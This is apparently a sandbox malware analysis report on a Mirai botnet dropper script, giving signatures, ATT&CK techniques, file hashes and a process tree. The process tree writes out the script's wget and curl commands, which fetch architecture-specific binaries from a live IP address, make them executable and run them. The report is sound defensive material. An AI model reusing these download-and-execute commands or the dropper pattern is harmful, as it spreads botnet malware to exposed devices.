mirai | 54eefa9690f54a99a4b985d2a827e7978bfcf8651b4900bb15b2ac863bdce221

Analysis

max time kernel
144s
max time network
148s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30/12/2024, 13:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ohshit.sh
Size

2KB
MD5

85e5354484584cd6a1c6a47638c538d2
SHA1

80a984a63b9004ad93c88ee0cf6165cdb48e3df2
SHA256

54eefa9690f54a99a4b985d2a827e7978bfcf8651b4900bb15b2ac863bdce221
SHA512

5a0f7b3c2739efefdb80c3c6b460fab2a1d29416052334baa1b5ed0effd886ed02c834a85a5747f9ce1ca60066a3816f9df2f5787e653301e2a65b993e0c47cd

Score

10^/10

mirai botnet defense_evasion discovery

Malware Config

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1535	chmod
1543	chmod
1573	chmod
1500	chmod
1530	chmod
1549	chmod
1561	chmod
1520	chmod
1584	chmod
1590	chmod
1555	chmod
1525	chmod
1567	chmod
1579	chmod
1514	chmod

Deletes itself 3 IoCs

pid	Process
1501	KBD
1536	KBD
1537	KBD

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/KBD	1501	KBD
/tmp/KBD	1515	KBD
/tmp/KBD	1521	KBD
/tmp/KBD	1526	KBD
/tmp/KBD	1531	KBD
/tmp/KBD	1536	KBD
/tmp/KBD	1544	KBD
/tmp/KBD	1550	KBD
/tmp/KBD	1556	KBD
/tmp/KBD	1562	KBD
/tmp/KBD	1568	KBD
/tmp/KBD	1574	KBD
/tmp/KBD	1580	KBD
/tmp/KBD	1585	KBD
/tmp/KBD	1591	KBD

Traces itself 4 IoCs

Traces itself to prevent debugging attempts

pid	Process
1501	KBD
1502	KBD
1536	KBD
1537	KBD

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	httpd	1501	KBD
Changes the process name, possibly in an attempt to hide itself	httpd	1536	KBD

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1503	wget
1512	curl
1513	cat

Writes file to tmp directory 29 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/KBD	KBD
File opened for modification	/tmp/main_arc	curl
File opened for modification	/tmp/main_arm7	wget
File opened for modification	/tmp/main_ppc	curl
File opened for modification	/tmp/main_sh4	curl
File opened for modification	/tmp/main_mips	curl
File opened for modification	/tmp/main_ppc	wget
File opened for modification	/tmp/main_mpsl	wget
File opened for modification	/tmp/main_arm6	wget
File opened for modification	/tmp/main_i686	curl
File opened for modification	/tmp/main_x86_64	curl
File opened for modification	/tmp/main_arm6	curl
File opened for modification	/tmp/main_m68k	curl
File opened for modification	/tmp/main_x86_64	wget
File opened for modification	/tmp/main_arm7	curl
File opened for modification	/tmp/main_m68k	wget
File opened for modification	/tmp/main_x86	wget
File opened for modification	/tmp/main_mips	wget
File opened for modification	/tmp/main_arm	wget
File opened for modification	/tmp/main_arm5	wget
File opened for modification	/tmp/main_arm5	curl
File opened for modification	/tmp/main_sh4	wget
File opened for modification	/tmp/main_x86	curl
File opened for modification	/tmp/KBD	ohshit.sh
File opened for modification	/tmp/KBD	KBD
File opened for modification	/tmp/main_arm	curl
File opened for modification	/tmp/main_i468	curl
File opened for modification	/tmp/main_mpsl	curl
File opened for modification	/tmp/main_spc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1492
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_x86
  2⤵
  - Writes file to tmp directory
  PID:1493
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_x86
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/cat
  cat main_x86
  2⤵
  PID:1499
- /bin/chmod
  chmod +x config-err-3ecGCD KBD main_x86 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/KBD
  ./KBD
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Traces itself
  - Changes its process name
  - Writes file to tmp directory
  PID:1501
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1503
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1512
- /bin/cat
  cat main_mips
  2⤵
  - System Network Configuration Discovery
  PID:1513
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_mips main_x86 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1515
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_arc
  2⤵
  PID:1517
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_arc
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/cat
  cat main_arc
  2⤵
  PID:1519
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_mips main_x86 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1521
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_i468
  2⤵
  PID:1522
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_i468
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/cat
  cat main_i468
  2⤵
  PID:1524
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_i468 main_mips main_x86 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1526
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_i686
  2⤵
  PID:1527
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_i686
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/cat
  cat main_i686
  2⤵
  PID:1529
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_i468 main_i686 main_mips main_x86 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1531
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_x86_64
  2⤵
  - Writes file to tmp directory
  PID:1532
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_x86_64
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/cat
  cat main_x86_64
  2⤵
  PID:1534
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_i468 main_i686 main_mips main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/KBD
  ./KBD
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Traces itself
  - Changes its process name
  - Writes file to tmp directory
  PID:1536
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_mpsl
  2⤵
  - Writes file to tmp directory
  PID:1538
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_mpsl
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/cat
  cat main_mpsl
  2⤵
  PID:1542
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1544
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_arm
  2⤵
  - Writes file to tmp directory
  PID:1546
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_arm
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/cat
  cat main_arm
  2⤵
  PID:1548
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_arm main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1550
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_arm5
  2⤵
  - Writes file to tmp directory
  PID:1552
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_arm5
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/cat
  cat main_arm5
  2⤵
  PID:1554
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_arm main_arm5 main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1556
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_arm6
  2⤵
  - Writes file to tmp directory
  PID:1558
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_arm6
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/cat
  cat main_arm6
  2⤵
  PID:1560
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1562
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_arm7
  2⤵
  - Writes file to tmp directory
  PID:1564
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_arm7
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/cat
  cat main_arm7
  2⤵
  PID:1566
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1568
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_ppc
  2⤵
  - Writes file to tmp directory
  PID:1570
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_ppc
  2⤵
  - Writes file to tmp directory
  PID:1571
- /bin/cat
  cat main_ppc
  2⤵
  PID:1572
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_mips main_mpsl main_ppc main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1574
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_spc
  2⤵
  PID:1576
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_spc
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/cat
  cat main_spc
  2⤵
  PID:1578
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_mips main_mpsl main_ppc main_spc main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1580
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_m68k
  2⤵
  - Writes file to tmp directory
  PID:1581
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_m68k
  2⤵
  - Writes file to tmp directory
  PID:1582
- /bin/cat
  cat main_m68k
  2⤵
  PID:1583
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1585
- /usr/bin/wget
  wget http://205.185.113.47/bins/main_sh4
  2⤵
  - Writes file to tmp directory
  PID:1587
- /usr/bin/curl
  curl -O http://205.185.113.47/bins/main_sh4
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/cat
  cat main_sh4
  2⤵
  PID:1589
- /bin/chmod
  chmod +x config-err-3ecGCD KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 main_x86_64 netplan_l1k3f3a3 ohshit.sh snap-private-tmp ssh-rZJNEcpUvOBg systemd-private-7c93f210dd05431cb24c2eaa5c41301c-bolt.service-5rCEYJ systemd-private-7c93f210dd05431cb24c2eaa5c41301c-colord.service-xnh8cN systemd-private-7c93f210dd05431cb24c2eaa5c41301c-ModemManager.service-9yb2VB systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-resolved.service-tunzR0 systemd-private-7c93f210dd05431cb24c2eaa5c41301c-systemd-timedated.service-xNgNID
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/KBD
  ./KBD
  2⤵
  - Executes dropped EXE
  PID:1591

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/KBD

Filesize
177KB

MD5
a2e40dd35e33d8e0d6f7b164531fd639

SHA1
6635fc5ad8eb52e1dee84969c0be8ad92c3adcbd

SHA256
1615b49a58974ac538096385368d03709f6d30292f5b92504614eea76849d5e8

SHA512
0b39d1cabb90ca932834d8c3cde0d5c2888e3f58dc7f061a64c149b0398b7ee62c90fab04fe7dd22fa14850e575bccca6bb787bff9f834aba8722556c3e496a4

Download Submit
/tmp/main_arc

Filesize
211B

MD5
9af70cf20da4300c436d56786a7995ff

SHA1
bd930110a9232ed646c694a582cf00ff6513e206

SHA256
fcb58495ba0bb4437618380329daca1be4103c6584ec79608dc7f5aa005f8b25

SHA512
0b723ccaf0454902b8e711edce8e40dc954dd0b47cac1362bd27a3f102afd2f1a76c2b5274093d6296c667020a2c3c66923d4cc27f36691384c60cc71b4ca582

Download Submit
/tmp/main_arm

Filesize
130KB

MD5
994af88b29ff2e3d59e6f45a01cd710b

SHA1
df09ce5c42e85924a9d34ea33f865100dad0b813

SHA256
0b423d1b9e7a9e6719bf77dfa5363998d04f9edad2ee8e2de911c7ae995a391a

SHA512
f1313f8a232711d7bf032577b3c2aea04d42ed0e28d043cf9c2df529c4846bdd6ec9b65191aa226e5e72ee4739cc14bbe101b58e1be910195b062cf98f9b04ad

Download Submit
/tmp/main_arm5

Filesize
126KB

MD5
81d95c5d74b917a25cadbf766c7b7a05

SHA1
42b7873cc1c11ab869e29b8380c189eae6c0890d

SHA256
5d94992dac0b6d592f86b0d59af84c52168f05d7aa1713a0c4fd62820be71630

SHA512
5fd54421e266ec3deb962214346cb1103ca39fd986149cd38c6732c4851c966fecce1005eb55d34a1b5e068709408a7671b798c26d0ba5ebb6e2ce181073f38f

Download Submit
/tmp/main_arm6

Filesize
140KB

MD5
09dbc2b87c4e535fe259b85e59089c44

SHA1
e08cbdb5b00a03312001edfd71c10aad7b95da84

SHA256
5b1cf87888710837c0007fd20877644abec191d7fed82763a15b959d591444d4

SHA512
3692aa82019696fb14b5337bef3210061fd12e6ec77d23ba81610e1ee3e70c84331a9d7d230f3ccdaae861d19537df0670124ad3c54a9a47362543ad5d15d2b2

Download Submit
/tmp/main_arm7

Filesize
177KB

MD5
e214c228b72129d4ef294b6fad3f9de1

SHA1
2bc198315923a8683b89ef876c30b3325f03f6aa

SHA256
cf40305398ee234528ebd18bb54b13e1bb94f90a501636857e25ba114bb1c9c6

SHA512
98cf5fa86b5e929d58e446ae3156a945929c3de11f2d28d1646317a6e98117d6254a906a79864b2a01cd6ae3e469307ec2edf4c9c7b2da521ea88f222575701b

Download Submit
/tmp/main_i468

Filesize
212B

MD5
160f50649f404902d54509bcb794e49b

SHA1
7e6ea89a27e70ff875b0ab4ab9da70b40aeaaa19

SHA256
acf3c44cd441bb8c441fa842a2fe36789dd9ff6c390842a33a7160548433f7b4

SHA512
60ae1a3ba9df8025b90b43d6b94bb40ec3e447a762ef686f78bbd2d702f95c9d2b678e2f3998efef5c46afdaa9f318a1147b3019ec9469917eac72492fca3dc8

Download Submit
/tmp/main_i686

Filesize
212B

MD5
8e19ed8538720beda5bffe3a9532dbb6

SHA1
649ef9150904a8c55c7596976ec8b0482906c200

SHA256
baf212782339d4dec613973e4ca897d525d35f2be366c72ce945e067d11925d7

SHA512
34b36f19b29dea11072ccfdc67bf93dde9c75c0c736f154f7cc074e3209cbe4fa2a1ab7ee553ecd247cb08713f13f877ab1bf5e65e7ab924954278911ea318c9

Download Submit
/tmp/main_m68k

Filesize
146KB

MD5
13e93970848ac2b26e8e545bf3c07273

SHA1
7c6c82a1cd7266ebfc18641c8af3cbcd8f6d2b26

SHA256
7cca33815eaccd864db722658cce4a234c32280e2ee7266c9fecd8601652c95f

SHA512
0327bbfd865710fe440ab9bfa754dec42ad623705970585819ad2177288c9504965397cec680ae831775613c3081488ddcdddebf5e60e4a0ce3ce6a796c6190c

Download Submit
/tmp/main_mips

Filesize
169KB

MD5
1d7394c2ea5a7ab2c932281be7c11bdd

SHA1
2a9c9f9270872a0d0f6cf46ef5e75a7a7473ba79

SHA256
261cbea15e9c316a7a13d6ee7c496feb4364d264355821dc03664c17f398bcd1

SHA512
09cb1d3454cbdf14396d861a9b6534925fd9a3b8aa91a322a0b964e486d83d002422330a06486d58b2ec237509e0a3d6751d242b7386c32af3cb308787968d49

Download Submit
/tmp/main_mpsl

Filesize
173KB

MD5
b631ac20f28c030b5ffac9c4daeee7f4

SHA1
32210471f8e75d4abf632028e9c69c8c8bba96f6

SHA256
2322a5098627d113e939e6ac7ddb5c80ed5e253a650c6b6e1737baa4617db415

SHA512
e5329039925e869ecbf11e2f48be3cfcad1a9d3b7c9432523d9f442816f35727bc25669204cb82acd99e3a84acae08a22c65fd42d63c19aa2eac696f48e82d1b

Download Submit
/tmp/main_ppc

Filesize
130KB

MD5
0fc176b456f9fe69ddfe3788346ed186

SHA1
fecb8f0de557540627f5203e60260db2fa916000

SHA256
b1d611c59c43c5f2ae26da403ac6f4c59f721d91716cd5c07e3293351db8124c

SHA512
c5ecdb38fa97835554f365030e08c56a6973db3c7f3395469eeb4d5ae0bdd2c29d5fb8d4d149d4db4b27bf443bd60527a02a26939cf5dc27bc0a1da4e8ee8927

Download Submit
/tmp/main_sh4

Filesize
114KB

MD5
00ec62e2f824a2a4820f9206eeb67767

SHA1
0e92c9cf78e91cefa2019358cede3cf67cab91cd

SHA256
fd893a3ee002cd623137b4f65fda5624232eb22e53f5fec40601bc26e7eed29a

SHA512
d5350fe7e7be290d50a672e085b1be7bccb975fb1f70bfd70892cf714e407ce779cbf8f6d19219f9eabe817b19cb1d11ca81c93596efd9a91b4ac8bf81339caf

Download Submit
/tmp/main_spc

Filesize
211B

MD5
b22666fac7bdf03f49bc4062ef5bca0d

SHA1
de969947b70f89bb7bc18c96a1533a098a0c8954

SHA256
091163b1069eb020e610aee4769494088e0249d2ca1fb4597f7c7ef4511524fb

SHA512
ec631d0ff77771a2786229056e8ecf6fd6e6bd78f01c76f575e2f88e1f55bb464b946c272dd40ccbd6cfaa2c3253e504e8f12681679a2b043b787e17506b1aba

Download Submit
/tmp/main_x86

Filesize
87KB

MD5
4f7c51c3fbe937bb9659cb47a53b3f64

SHA1
3721f1c64a1468aaee6343182e7e4f93fa9e8540

SHA256
05466e5727f528209cff95c2e7e2b197aa0fe4e312fd3709c13a1605c8cc2555

SHA512
31c1315ebd0d994ad9894bceabd5837dd63e9ecce311f7c65fda13d851face4fdbcbf49f154076d7d367c5d54233b5466e268e9ddad4e3308ecb55ce1b71ddd5

Download Submit
/tmp/main_x86_64

Filesize
136KB

MD5
a9c977c67dad621cd0af6cd91c835bca

SHA1
55a93e2f75770c85b4a62af6f85605c8e125fb5b

SHA256
6c22bec08f6ce62b43664b22028e033d496990b06a053c4aee5168b3af787c55

SHA512
d411088bd14a89381f9830427bfc452c255f07ff5e645b5944375b60ba0006586bda20adee7cde1606b240b97d7a616a730b4e20351014bfceee304f008111d2

Download Submit